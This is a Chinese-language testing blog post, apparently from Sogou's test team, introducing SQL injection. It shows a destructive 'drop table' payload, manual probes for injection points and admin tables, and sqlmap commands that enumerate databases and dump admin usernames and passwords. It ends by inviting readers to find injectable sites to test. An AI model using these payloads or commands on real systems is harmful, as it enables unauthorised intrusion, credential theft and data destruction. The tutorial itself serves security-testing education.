前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入小记

SQL注入小记

作者头像
用户5521279
发布2019-12-10 16:04:27
5100
发布2019-12-10 16:04:27
举报
文章被收录于专栏:搜狗测试搜狗测试
  • 背景 之前在测试培训时,简要提到了安全测试,于是以此为起点,就去了解了一些安全测试相关的内容。sql注入便是其中的一部分。
  • 简介 SQL 注入是一种专门针对SQL语句的攻击方式。通过把SQL命令插入到web表单提交、输入域名或者页面请求的查询字符串中,利用现有的程序,来非法获取后台的数据库中的信息。在web的测试中涉及到的会比较多些。
  • 注入原理

存在注入的原因是后台在编写程序时,没有对用户输入的数据做过滤。

例:

代码语言:javascript
复制
1. 用户在某个输入框提交的参数是123
   浏览器提交的URL为: http://www.xxx.com/index.php?id=123
   服务器后台执行SQL语句:select * from table1 where id = 123
   此时是没有任何影响的。
2. 如果用户提交的参数是 123;drop table
   服务器后台执行SQL语句: select * from table1 where id =123 ; drop table
   相当于后台执行了两条SQL语句,查表,并且把table删除, 从而导致了SQL注入。
  • 检测注入的方法

目前主要有两种检测方式:

手工注入检测流程:

1. 判断是否存在注入点

代码语言:javascript
复制
www.abc.com/index.php?id=2'
www.abc.com/index.php?id=2 and 1=1
www.abc.com/index.php?id=2 and 1=2
第2条返回正常,第1,3条返回不正常说明id参数存在注入漏洞

2. 判定是否存在admin表

代码语言:javascript
复制
www.abc.com/index.php?id=2 and exists(select * from admin)   
返回正常,存在admin表

   3. 猜admin表中的字段名

代码语言:javascript
复制
www.abc.com/index.php?id=2 and exists(select username from admin)  
返回正常 表示admin表存在username字段

4. 检测其他sql操作

工具检测:

sqlmap: sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。

1. 下载地址

代码语言:javascript
复制
https://github.com/sqlmapproject/sqlmap.git 

2. 常用命令

代码语言:javascript
复制
1) sqlmap.py -u "http://www.abc.com/index.asp?id=1"     
   判断id参数是否存在注入:
   若存在注入,尝试执行下面的步骤
2) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --dbs
   列举能列出的所有数据库名
3) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --current-db
   列出当前使用的数据库名,假设列出“sqltest”数据库
4) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --is-dba
   判断该注入点是否有管理员权限:返回true 表示是管理员
5) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" --tables
   获取sqltest中的所有表
6) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
   假设有"admin"表, 列举表admin的字段(列名),假设存在"username","password"字段 
7) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
   下载字段username,password的值,
  • 测试

以一个sqlmap检测URL为例:

1. 检测过程:

2. 检测结果:

可知该次注入检测没有成功。感兴趣的小伙伴可以寻找可注入的网址进行测试,更深入的内容还需要进行更多的探索。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 搜狗测试 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档